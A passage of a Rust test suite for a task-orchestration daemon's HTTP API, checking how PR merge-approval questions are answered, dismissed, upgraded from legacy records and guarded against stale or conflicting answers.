12664            if owner == "later" {
12665                task.runs.push("later-run".into());
12666            }
12667            if owner != "missing" {
12668                fx.queue().put(&mut task).unwrap();
12669            }
12670            let ui = Arc::new(Ui::new(
12671                fx.queue(),
12672                fx.questions(),
12673                fx.talks(),
12674                fx.runs(),
12675                fx.home.path().into(),
12676                state.repo.clone(),
12677            ));
12678            let response = question_answer(
12679                State(ui),
12680                Path(q.id.clone()),
12681                Ok(Json(NewAnswer {
12682                    choice: Some(crate::merge_decision::DISMISS.into()),
12683                    text: None,
12684                    ..Default::default()
12685                })),
12686            )
12687            .await
12688            .unwrap();
12689            assert_eq!(
12690                response.0.question.resolution().as_deref(),
12691                Some(crate::merge_decision::DISMISS)
12692            );
12693            let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12694            assert_eq!(disk.status, RunStatus::Superseded);
12695            assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
12696            assert!(!crate::merge_decision::resumable_hold(&disk));
12697            assert_eq!(
12698                serde_json::to_value(&disk.pr).unwrap(),
12699                serde_json::to_value(&stale.pr).unwrap()
12700            );
12701            assert_eq!(fx.questions().count_open(), 0);
12702            assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
12703            crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12704            if owner == "missing" {
12705                assert!(fx.queue().list().is_empty());
12706            } else {
12707                let after = fx.queue().get(&task.id).unwrap();
12708                assert_eq!(
12709                    after.status,
12710                    if owner == "current" {
12711                        TaskStatus::Done
12712                    } else {
12713                        task.status
12714                    }
12715                );
12716                assert_eq!(after.runs, task.runs);
12717                assert_eq!(after.instruction, task.instruction);
12718                assert_eq!(after.action_applied(&q.id), owner == "current");
12719            }
12720        }
12721    }
12722
12723    #[tokio::test]
12724    async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
12725        let fx = Fixture::start().await;
12726        let mut state = obsolete_approval_state();
12727        state.status = RunStatus::Landing;
12728        state.parked = true;
12729        state.driver_exited = true;
12730        let mut q = Question::new(
12731            state.id.clone(),
12732            crate::land::APPROVAL_NODE.into(),
12733            "land".into(),
12734            "Superseded PR approval".into(),
12735            "Original review evidence".into(),
12736            vec!["merge".into(), "hold".into()],
12737        );
12738        state.land_approval = Some(crate::run::LandApproval {
12739            question: q.id.clone(),
12740            head: "old-reviewed-head".into(),
12741        });
12742        // The old persisted PR may still say open even when a separate change
12743        // already landed. Dismissal must not use that snapshot to close it.
12744        state.save_under(fx.home.path()).unwrap();
12745        let stale_driver = state.clone();
12746        fx.questions().put(&mut q).unwrap();
12747        let path = fx
12748            .home
12749            .path()
12750            .join("questions")
12751            .join(format!("{}.json", q.id));
12752        let mut legacy = serde_json::to_value(&q).unwrap();
12753        legacy["schema"] = 9.into();
12754        legacy.as_object_mut().unwrap().remove("merge_target");
12755        std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
12756
12757        // POST without GET tests legacy upgrade and validation at the actual
12758        // entry point, rather than constructing a modern card in the test.
12759        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12760        let answer_path = format!("/api/questions/{}/answer", q.id);
12761        let res = fx.post(&answer_path, Some(&body)).await;
12762        assert_eq!(res.status, 200, "{}", res.body);
12763        let disk = fx.questions().get(&q.id).unwrap();
12764        assert_eq!(
12765            disk.resolution().as_deref(),
12766            Some(crate::merge_decision::DISMISS)
12767        );
12768        assert!(disk.detail.starts_with("Original review evidence"));
12769        let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
12770        assert_eq!(retired.status, RunStatus::Superseded);
12771        assert_eq!(
12772            serde_json::to_value(&retired.pr).unwrap(),
12773            serde_json::to_value(&state.pr).unwrap()
12774        );
12775        assert!(!retired.merge_decision.as_ref().unwrap().closed);
12776        assert!(!crate::merge_decision::resumable_hold(&retired));
12777        assert!(fx.queue().list().is_empty());
12778        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12779        // A restarted server re-reads the persisted pending list.
12780        let addr = Fixture::serve(
12781            fx.home.path(),
12782            PathBuf::from("/repo/magi"),
12783            launch_idle,
12784            None,
12785        )
12786        .await;
12787        let reconnected = Fixture {
12788            home: fx.home,
12789            addr,
12790        };
12791        let listed = reconnected.get("/api/questions").await.json();
12792        assert!(
12793            listed
12794                .as_array()
12795                .unwrap()
12796                .iter()
12797                .all(|q| q["status"] != "open")
12798        );
12799        assert_eq!(listed[0]["id"], q.id, "history remains available");
12800        assert_eq!(
12801            reconnected.get("/api/health").await.json()["questions_open"],
12802            0
12803        );
12804        assert_eq!(
12805            reconnected
12806                .post(&answer_path, Some(r#"{"choice":"merge"}"#))
12807                .await
12808                .status,
12809            409
12810        );
12811        // A late waiter cannot turn the old answer into a new decision.
12812        assert!(
12813            reconnected
12814                .questions()
12815                .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
12816                .is_err()
12817        );
12818        // The same guard used by claims, repair and publication rejects a
12819        // saved in-memory driver as well as the persisted terminal record.
12820        assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
12821    }
12822
12823    #[tokio::test]
12824    async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
12825        let fx = Fixture::start().await;
12826        let mut state = obsolete_approval_state();
12827        state.status = RunStatus::Landing;
12828        state.driver_exited = true;
12829        let mut q = Question::new(
12830            state.id.clone(),
12831            crate::land::APPROVAL_NODE.into(),
12832            "land".into(),
12833            "Obsolete approval".into(),
12834            String::new(),
12835            vec!["merge".into(), "hold".into()],
12836        );
12837        state.land_approval = Some(crate::run::LandApproval {
12838            question: q.id.clone(),
12839            head: "head".into(),
12840        });
12841        state.save_under(fx.home.path()).unwrap();
12842        fx.questions().put(&mut q).unwrap();
12843        let mut task = Task::new(
12844            "Owner".into(),
12845            "Original instruction".into(),
12846            state.repo.clone(),
12847            Source::Human,
12848        );
12849        task.runs = vec![state.id.clone(), "later-run".into()];
12850        fx.queue().put(&mut task).unwrap();
12851        let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
12852        let claim = fx.queue().claim(&task.id).unwrap();
12853        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12854        let path = format!("/api/questions/{}/answer", q.id);
12855        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12856        assert!(fx.questions().get(&q.id).unwrap().status.open());
12857        drop(claim);
12858        let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
12859        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12860        assert!(fx.questions().get(&q.id).unwrap().status.open());
12861        drop(publication);
12862        // Unknown liveness and armed auto-merge both fail without settling.
12863        state.driver_exited = false;
12864        state.driver_pid = None;
12865        state.driver_claimed = None; // No durable proof of an unstarted execution.
12866        state.save_under(fx.home.path()).unwrap();
12867        assert_eq!(
12868            state.liveness_under(fx.home.path(), false),
12869            crate::run::Liveness::Unknown
12870        );
12871
12872        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12873        state.driver_exited = true;
12874        state.land_armed_head = Some("head".into());
12875        state.save_under(fx.home.path()).unwrap();
12876        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12877        state.land_armed_head = None;
12878        state.save_under(fx.home.path()).unwrap();
12879        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12880        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12881        assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
12882    }
12883
12884    #[tokio::test]
12885    async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
12886        let fx = Fixture::start().await;
12887        let mut state = obsolete_approval_state();
12888        state.status = RunStatus::Landing;
12889        state.driver_exited = true;
12890        let mut q = Question::new(
12891            state.id.clone(),
12892            crate::land::APPROVAL_NODE.into(),
12893            "land".into(),
12894            "Obsolete approval".into(),
12895            String::new(),
12896            vec!["merge".into(), "hold".into()],
12897        );
12898        state.land_approval = Some(crate::run::LandApproval {
12899            question: q.id.clone(),
12900            head: "head".into(),
12901        });
12902        state.save_under(fx.home.path()).unwrap();
12903        fx.questions().put(&mut q).unwrap();
12904        let mut task = Task::new(
12905            "Owner".into(),
12906            "Original instruction".into(),
12907            state.repo.clone(),
12908            Source::Human,
12909        );
12910        task.runs.push(state.id.clone());
12911        task.status = TaskStatus::Parked;
12912        fx.queue().put(&mut task).unwrap();
12913        // Model a crash after the run stop was persisted but before the queue
12914        // and answered question were flushed. Retrying must finish, not resume.
12915        state.merge_decision = Some(crate::merge_decision::Decision {
12916            question: q.id.clone(),
12917            target: crate::merge_decision::Target {
12918                pr: state.pr.as_ref().unwrap().url.clone(),
12919                head: "head".into(),
12920                language: "ja".into(),
12921            },
12922            choice: crate::merge_decision::DISMISS.into(),
12923            closed: false,
12924            replacement_run: None,
12925            replacement_pr: None,
12926        });
12927        state.status = RunStatus::Superseded;
12928        state.save_under(fx.home.path()).unwrap();
12929        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12930        let path = format!("/api/questions/{}/answer", q.id);
12931        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12932        let done = fx.queue().get(&task.id).unwrap();
12933        assert_eq!(done.status, TaskStatus::Done);
12934        assert_eq!(done.runs, task.runs);
12935        assert_eq!(done.instruction, task.instruction);
12936        assert!(done.action_applied(&q.id));
12937        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12938        assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
12939        assert!(!fx.questions().get(&q.id).unwrap().status.open());
12940    }
12941
12942    #[tokio::test]
12943    async fn task_chat_merge_accepts_direct_decisions_and_checks_optional_buttons() {
12944        let home = TempDir::new().unwrap();
12945        let ui = Arc::new(Ui::new(
12946            Queue::at(home.path().join("queue")),
12947            Questions::at(home.path().join("questions")),
12948            Talks::at(home.path().join("talks")),
12949            home.path().join("runs"),
12950            home.path().to_owned(),
12951            home.path().to_owned(),
12952        ));
12953        let talks = &ui.talks;
12954        let chat =
12955            talk::begin(talks, &stub_config(), home.path().to_owned(), Some("stub")).unwrap();
12956        let mut q = Question::new(
12957            "run".into(),
12958            crate::land::APPROVAL_NODE.into(),
12959            "land".into(),
12960            "Merge?".into(),
12961            String::new(),
12962            vec!["merge".into(), "hold".into()],
12963        );
12964        q.routed_task = Some("task".into());
12965        q.routed_chat = Some(chat.id.clone());
12966        q.merge_target = Some(crate::merge_decision::Target {
12967            pr: "https://example.test/pull/1".into(),
12968            head: "head-a".into(),
12969            language: "en".into(),
12970        });
12971        ui.questions.put(&mut q).unwrap();
12972        let send = |body| {
12973            question_answer(
12974                State(ui.clone()),
12975                Path(q.id.clone()),
12976                Ok(Json(serde_json::from_value::<NewAnswer>(body).unwrap())),
12977            )
12978        };
12979        let button = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"head-a"});
12980        assert!(send(serde_json::json!({"text":"merge"})).await.is_err());
12981        let wrong_chat = serde_json::json!({"choice":"merge", "talk":"other", "head":"head-a"});
12982        assert!(send(wrong_chat).await.is_err());
12983        let stale = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"old-head"});
12984        assert!(send(stale).await.is_err());
12985        assert!(ui.questions.get(&q.id).unwrap().status.open());
12986        assert!(send(button.clone()).await.is_ok());
12987        assert_eq!(
12988            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12989            Some("merge")
12990        );
12991        assert!(send(button).await.is_err());
12992    }
12993
12994    #[tokio::test]
12995    async fn routed_approvals_accept_merge_and_hold_without_chat_buttons() {
12996        let home = TempDir::new().unwrap();
12997        let ui = Arc::new(Ui::new(
12998            Queue::at(home.path().join("queue")),
12999            Questions::at(home.path().join("questions")),
13000            Talks::at(home.path().join("talks")),
13001            home.path().join("runs"),
13002            home.path().to_owned(),
13003            home.path().to_owned(),
13004        ));
13005        for choice in [crate::land::APPROVE, crate::land::HOLD] {
13006            let mut q = Question::new(
13007                "run".into(),
13008                crate::land::APPROVAL_NODE.into(),
13009                "land".into(),
13010                "Merge?".into(),
13011                String::new(),
13012                vec!["merge".into(), choice.into()],
13013            );
13014            q.routed_task = Some("task".into());
13015            q.merge_target = Some(crate::merge_decision::Target {
13016                pr: "https://example.test/pull/1".into(),
13017                head: "head-a".into(),
13018                language: "en".into(),
13019            });
13020            ui.questions.put(&mut q).unwrap();
13021            let answer = |c: &str| {
13022                question_answer(
13023                    State(ui.clone()),
13024                    Path(q.id.clone()),
13025                    Ok(Json(
13026                        serde_json::from_value::<NewAnswer>(serde_json::json!({ "choice": c }))
13027                            .unwrap(),
13028                    )),
13029                )
13030            };
13031            let _ = answer(choice).await.unwrap();
13032            assert_eq!(
13033                ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13034                Some(choice)
13035            );
13036        }
13037    }
13038
13039    #[tokio::test]
13040    async fn a_routed_decision_records_a_plain_answer_on_the_question_route() {
13041        let home = TempDir::new().unwrap();
13042        let ui = Arc::new(Ui::new(
13043            Queue::at(home.path().join("queue")),
13044            Questions::at(home.path().join("questions")),
13045            Talks::at(home.path().join("talks")),
13046            home.path().join("runs"),
13047            home.path().to_owned(),
13048            home.path().to_owned(),
13049        ));
13050        let mut q = Question::new(
13051            "run".into(),
13052            crate::github_text::ASK_NODE.into(),
13053            "posting-gate".into(),
13054            "Post?".into(),
13055            String::new(),
13056            vec!["use fallback".into()],
13057        );
13058        q.routed_task = Some("task".into());
13059        ui.questions.put(&mut q).unwrap();
13060        let sent = question_answer(
13061            State(ui.clone()),
13062            Path(q.id.clone()),
13063            Ok(Json(
13064                serde_json::from_value::<NewAnswer>(serde_json::json!({"choice":"use fallback"}))
13065                    .unwrap(),
13066            )),
13067        )
13068        .await;
13069        let _ = sent.unwrap();
13070        assert_eq!(
13071            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13072            Some("use fallback")
13073        );
13074    }
13075
13076    #[tokio::test]
13077    async fn merge_decision_api_persists_exact_target_and_selected_action() {
13078        let fx = Fixture {
13079            home: TempDir::new().unwrap(),
13080            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
13081        };
13082        for choice in [
13083            crate::land::HOLD,
13084            crate::land::REPAIR,
13085            crate::land::APPROVE,
13086            crate::merge_decision::WITHDRAW,
13087            "reimplement:beta",
13088        ] {
13089            let mut q = Question::new(
13090                "old-run".into(),
13091                crate::land::APPROVAL_NODE.into(),
13092                "land".into(),
13093                "Decision".into(),
13094                "Review findings".into(),
13095                vec![
13096                    "merge".into(),
13097                    "hold".into(),
13098                    crate::land::REPAIR.into(),
13099                    crate::merge_decision::WITHDRAW.into(),
13100                    "reimplement:beta".into(),
13101                ],
13102            );
13103            q.merge_target = Some(crate::merge_decision::Target {
13104                pr: "https://github.com/example/repo/pull/42".into(),
13105                head: "exact-reviewed-head".into(),
13106                language: "ja".into(),
13107            });
13108            q.consult = Some(ask::ChatConsult {
13109                talk: "another-conversation".into(),
13110                at: jiff::Timestamp::now(),
13111            });
13112            fx.questions().put(&mut q).unwrap();
13113            let ui = Arc::new(Ui::new(
13114                fx.queue(),
13115                fx.questions(),
13116                fx.talks(),
13117                fx.runs(),
13118                fx.home.path().into(),
13119                std::path::PathBuf::from("."),
13120            ));
13121            let response = question_answer(
13122                State(ui.clone()),
13123                Path(q.id.clone()),
13124                Ok(Json(NewAnswer {
13125                    choice: Some(choice.into()),
13126                    text: None,
13127                    ..Default::default()
13128                })),
13129            )
13130            .await
13131            .unwrap();
13132            assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
13133            let disk = fx.questions().get(&q.id).unwrap();
13134            assert_eq!(disk.merge_target, q.merge_target);
13135            assert_eq!(disk.consult, q.consult);
13136            assert_eq!(disk.resolution().as_deref(), Some(choice));
13137            assert!(
13138                question_answer(
13139                    State(ui),
13140                    Path(q.id.clone()),
13141                    Ok(Json(NewAnswer {
13142                        choice: Some("merge".into()),
13143                        text: None,
13144                        ..Default::default()
13145                    }))
13146                )
13147                .await
13148                .is_err(),
13149                "an already settled decision cannot turn into merge approval"
13150            );
13151        }
13152    }
13153
13154    #[tokio::test]
13155    async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
13156        let fx = Fixture {
13157            home: TempDir::new().unwrap(),
13158            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
13159        };
13160        let mut state = crate::land::tests::repair_state(true, true);
13161        state.status = RunStatus::Landing;
13162        state.parked = true;
13163        state.driver_exited = true;
13164        let mut task = Task::new(
13165            "Existing PR owner".into(),
13166            state.instruction.clone(),
13167            state.repo.clone(),
13168            Source::Human,
13169        );
13170        task.runs.push(state.id.clone());
13171        task.status = TaskStatus::Parked;
13172        fx.queue().put(&mut task).unwrap();
13173        let mut q = Question::new(
13174            state.id.clone(),
13175            crate::land::APPROVAL_NODE.into(),
13176            "land".into(),
13177            "Contested merge".into(),
13178            "Original evidence".into(),
13179            vec!["merge".into(), "hold".into()],
13180        );
13181        state.land_approval = Some(crate::run::LandApproval {
13182            question: q.id.clone(),
13183            head: "reviewed-head".into(),
13184        });
13185        state.save_under(fx.home.path()).unwrap();
13186        fx.questions().put(&mut q).unwrap();
13187        // A later repair answer on this old card supersedes this manual hold.
13188        task.hold_manual(Some("Pause this PR".into()));
13189        fx.queue().put(&mut task).unwrap();
13190        // POST directly, without a preceding GET: validation must see the
13191        // same durable upgrade that the card, CLI and chat see.
13192        let ui = Arc::new(Ui::new(
13193            fx.queue(),
13194            fx.questions(),
13195            fx.talks(),
13196            fx.runs(),
13197            fx.home.path().to_path_buf(),
13198            state.repo.clone(),
13199        ));
13200        let response = question_answer(
13201            State(ui),
13202            Path(q.id.clone()),
13203            Ok(Json(NewAnswer {
13204                choice: Some(crate::land::REPAIR.into()),
13205                text: None,
13206                ..Default::default()
13207            })),
13208        )
13209        .await
13210        .unwrap();
13211        assert_eq!(response.0.question.id, q.id);
13212        let upgraded = fx.questions().get(&q.id).unwrap();
13213        assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
13214        assert!(upgraded.detail.starts_with("Original evidence"));
13215        let claim = fx.queue().claim(&task.id).unwrap();
13216        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13217        assert!(
13218            fx.queue().get(&task.id).unwrap().resume_override.is_none(),
13219            "an existing driver keeps its claim"
13220        );
13221        drop(claim);
13222        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13223        let resumed = fx.queue().get(&task.id).unwrap();
13224        assert_eq!(
13225            resumed
13226                .resume_override
13227                .as_ref()
13228                .unwrap()
13229                .pinned_run
13230                .as_deref(),
13231            Some(state.id.as_str())
13232        );
13233        assert!(resumed.status.runnable());
13234        assert_eq!(resumed.instruction, task.instruction);
13235        assert_eq!(resumed.runs, task.runs);
13236        assert!(resumed.action_applied(&q.id));
13237        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13238        assert_eq!(fx.queue().list().len(), 1);
13239        assert_eq!(
13240            fx.queue().get(&task.id).unwrap().resume_override,
13241            resumed.resume_override
13242        );
13243        let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
13244        assert!(
13245            disk.merge_repairs.is_empty(),
13246            "only the claimed run driver may execute repair"
13247        );
13248        assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
13249    }
13250
13251    #[tokio::test]
13252    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
13253        let fx = Fixture::start().await;
13254        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13255        let path = format!("/api/questions/{id}/answer");
13256
13257        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
13258        assert_eq!(res.status, 200, "{}", res.body);
13259        let body = res.json();
13260        assert_eq!(body["status"], "answered");
13261        assert_eq!(body["answer"]["choice"], "Redis");
13262
13263        // Answered from the terminal in between the list and the tap: the UI
13264        // must be able to tell this from a bad request, so it can show the
13265        // recorded answer instead of an error.
13266        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
13267        assert_eq!(again.status, 409, "{}", again.body);
13268        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
13269    }
13270
13271    #[tokio::test]
13272    async fn fresh_api_answers_survive_task_inquiry_migration() {
13273        use crate::{ask::ChoiceAction, task_decision::Status, task_inquiry::Outbox};
13274        for migrate_first in [false, true] {
13275            let fx = Fixture::start().await;
13276            let mut task = Task::new(
13277                "work".into(),
13278                "work".into(),
13279                PathBuf::from("/repo/magi"),
13280                Source::Human,
13281            );
13282            task.runs.push("run-a".into());
13283            fx.queue().put(&mut task).unwrap();
13284            let mut q = Question::new(
13285                "run-a".into(),
13286                "implement".into(),
13287                "impl-A".into(),
13288                "Keep held?".into(),
13289                String::new(),
13290                vec!["hold".into()],
13291            );
13292            q.actions.insert("hold".into(), ChoiceAction::Hold);
13293            fx.questions().put(&mut q).unwrap();
13294            if migrate_first {
13295                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &fx.questions(), fx.home.path());
13296            }
13297            let response = fx
13298                .post(
13299                    &format!("/api/questions/{}/answer", q.id),
13300                    Some(r#"{"choice":"hold"}"#),
13301                )
13302                .await;
13303            assert_eq!(response.status, 200, "{}", response.body);
13304            for _ in 0..2 {
13305                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &fx.questions(), fx.home.path());
13306                let source = fx.questions().get(&q.id).unwrap();
13307                assert_eq!(source.resolution().as_deref(), Some("hold"));
13308                let decision = Outbox::at(fx.home.path())
13309                    .get(&q.id)
13310                    .unwrap()
13311                    .decision
13312                    .unwrap();
13313                assert_eq!(decision.request.as_deref(), Some("decision: hold"));
13314                assert_eq!(decision.source_answer_at, source.answered_at);
13315                assert_eq!(decision.status, Status::Queued);
13316            }
13317            assert_eq!(
13318                fx.post(
13319                    &format!("/api/questions/{}/answer", q.id),
13320                    Some(r#"{"choice":"hold"}"#)
13321                )
13322                .await
13323                .status,
13324                409
13325            );
13326        }
13327    }
13328
13329    #[tokio::test]
13330    async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
13331        let home = tempfile::tempdir().unwrap();
13332        let ui = delta_test_ui(home.path());
13333        let mut q = Question::new(
13334            "task".into(),
13335            crate::land::APPROVAL_NODE.into(),
13336            "land".into(),
13337            "Explain?".into(),
13338            String::new(),
13339            vec!["hold".into()],
13340        );
13341        q.deputy = Some(ask::Deputy::new("context".into()));
13342        ui.questions.put(&mut q).unwrap();
13343        let mut cfg = stub_config();
13344        cfg.daemon.max_deputies = 0;
13345        let mut status = crate::daemon::Status::new();
13346        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
13347        crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
13348        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
13349        let error = question_say(
13350            State(ui.clone()),
13351            Path(q.id.clone()),
13352            Ok(Json(NewSay {
13353                body: "Explain the findings".into(),
13354            })),
13355        )
13356        .await
13357        .unwrap_err();
13358        assert_eq!(
13359            error.text_reason,
13360            Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
13361        );
13362        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
13363
13364        let mut text = Question::new(
13365            "task".into(),
13366            "ask".into(),
13367            "operator".into(),
13368            "Which name?".into(),
13369            String::new(),
13370            vec![],
13371        );
13372        ui.questions.put(&mut text).unwrap();
13373        let Json(view) = question_answer(
13374            State(ui.clone()),
13375            Path(text.id.clone()),
13376            Ok(Json(NewAnswer {
13377                choice: None,
13378                text: Some("chosen name".into()),
13379                ..Default::default()
13380            })),
13381        )
13382        .await
13383        .unwrap();
13384        assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
13385        assert!(!ui.questions.get(&text.id).unwrap().status.open());
13386    }
13387
13388    #[tokio::test]
13389    async fn question_text_handler_admission_without_transport() {
13390        let home = tempfile::tempdir().unwrap();
13391        let ui = delta_test_ui(home.path());
13392        let mut q = Question::new(
13393            "task".into(),
13394            crate::land::APPROVAL_NODE.into(),
13395            "land".into(),
13396            "May this PR merge?".into(),
13397            String::new(),
13398            vec!["hold".into()],
13399        );
13400        q.deputy = Some(ask::Deputy::new("reviewed head".into()));
13401        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
13402        ui.questions.put(&mut q).unwrap();
13403        let say = || {
13404            Ok(Json(NewSay {
13405                body: "Explain the findings".into(),
13406            }))
13407        };
13408        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13409            .await
13410            .unwrap_err();
13411        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13412        let response = rejected.into_response();
13413        let body = axum::body::to_bytes(response.into_body(), usize::MAX)
13414            .await
13415            .unwrap();
13416        let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
13417        assert_eq!(body["code"], "question_text_unavailable");
13418        assert_eq!(body["reason"], "deputy_exhausted");
13419        assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
13420        assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
13421        ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
13422        let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
13423            .await
13424            .unwrap();
13425        assert_eq!(view.text_delivery.state, "live");
13426        assert!(view.question.waiter.is_none());
13427        assert!(view.question.cwd.is_none());
13428        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
13429        ui.questions.drop_lease(&q.id);
13430        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13431            .await
13432            .unwrap_err();
13433        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13434        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
13435        let _ = question_answer(
13436            State(ui.clone()),
13437            Path(q.id.clone()),
13438            Ok(Json(NewAnswer {
13439                choice: Some("hold".into()),
13440                text: None,
13441                ..Default::default()
13442            })),
13443        )
13444        .await
13445        .unwrap();
13446        assert_eq!(
13447            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13448            Some("hold")
13449        );
13450    }
13451
13452    #[tokio::test]
13453    async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
13454        let fx = Fixture::start().await;
13455        let store = fx.questions();
13456        let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
13457        store
13458            .update(&id, |q| {
13459                q.node = crate::land::APPROVAL_NODE.to_owned();
13460                q.deputy = Some(ask::Deputy::new("approval".to_owned()));
13461                q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
13462                Ok(())
13463            })
13464            .unwrap();
13465        let path = format!("/api/questions/{id}/say");
13466        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
13467        assert_eq!(refused.status, 422, "{}", refused.body);
13468        assert!(
13469            refused.json()["error"]
13470                .as_str()
13471                .unwrap()
13472                .contains("deputy_exhausted")
13473        );
13474        assert!(store.get(&id).unwrap().thread.is_empty());
13475
13476        // A final live deputy is usable even with no ordinary waiter/cwd.
13477        store.beat(&id, ask::WaiterKind::Deputy);
13478        let view = fx.get("/api/questions").await.json();
13479        assert_eq!(view[0]["text_delivery"]["state"], "live");
13480        let accepted = fx
13481            .post(&path, Some(r#"{"body":"explain the findings"}"#))
13482            .await;
13483        assert_eq!(accepted.status, 200, "{}", accepted.body);
13484        let before = std::fs::read(store.path_of(&id)).unwrap();
13485
13486        // The recipient exits between rendering and sending. Rejection must
13487        // preserve previously accepted text, the answer and delivery cursor.
13488        store.drop_lease(&id);
13489        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
13490        assert_eq!(refused.status, 422, "{}", refused.body);
13491        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
13492        let held = fx
13493            .post(
13494                &format!("/api/questions/{id}/answer"),
13495                Some(r#"{"choice":"hold"}"#),
13496            )
13497            .await;
13498        assert_eq!(held.status, 200, "{}", held.body);
13499        assert_eq!(store.get(&id).unwrap().thread.len(), 1);
13500    }
13501
13502    #[tokio::test]
13503    async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
13504        let repo = tempfile::tempdir().unwrap();
13505        let mut cfg = stub_config();
13506        cfg.daemon.max_deputies = 0;
13507        std::fs::write(
13508            repo.path().join("magi.toml"),
13509            toml::to_string(&cfg).unwrap(),
13510        )
13511        .unwrap();
13512        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
13513        let mut status = crate::daemon::Status::new();
13514        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
13515        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
13516        let id = ask(&fx, "Explain?", &["hold"]);
13517        fx.questions()
13518            .update(&id, |q| {
13519                q.node = crate::land::APPROVAL_NODE.into();
13520                q.deputy = Some(ask::Deputy::new("context".into()));
13521                q.deputy.as_mut().unwrap().agent = "stub".into();
13522                Ok(())
13523            })
13524            .unwrap();
13525        cfg.daemon.max_deputies = 1;
13526        std::fs::write(
13527            repo.path().join("magi.toml"),
13528            toml::to_string(&cfg).unwrap(),
13529        )
13530        .unwrap();
13531        let view = fx.get("/api/questions").await.json();
13532        assert_eq!(view[0]["deputies_enabled"], true);
13533        assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
13534        let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
13535        let res = fx
13536            .post(
13537                &format!("/api/questions/{id}/say"),
13538                Some(r#"{"body":"Please explain"}"#),
13539            )
13540            .await;
13541        assert_eq!(res.status, 422, "{}", res.body);
13542        assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
13543    }
13544
13545    #[tokio::test]
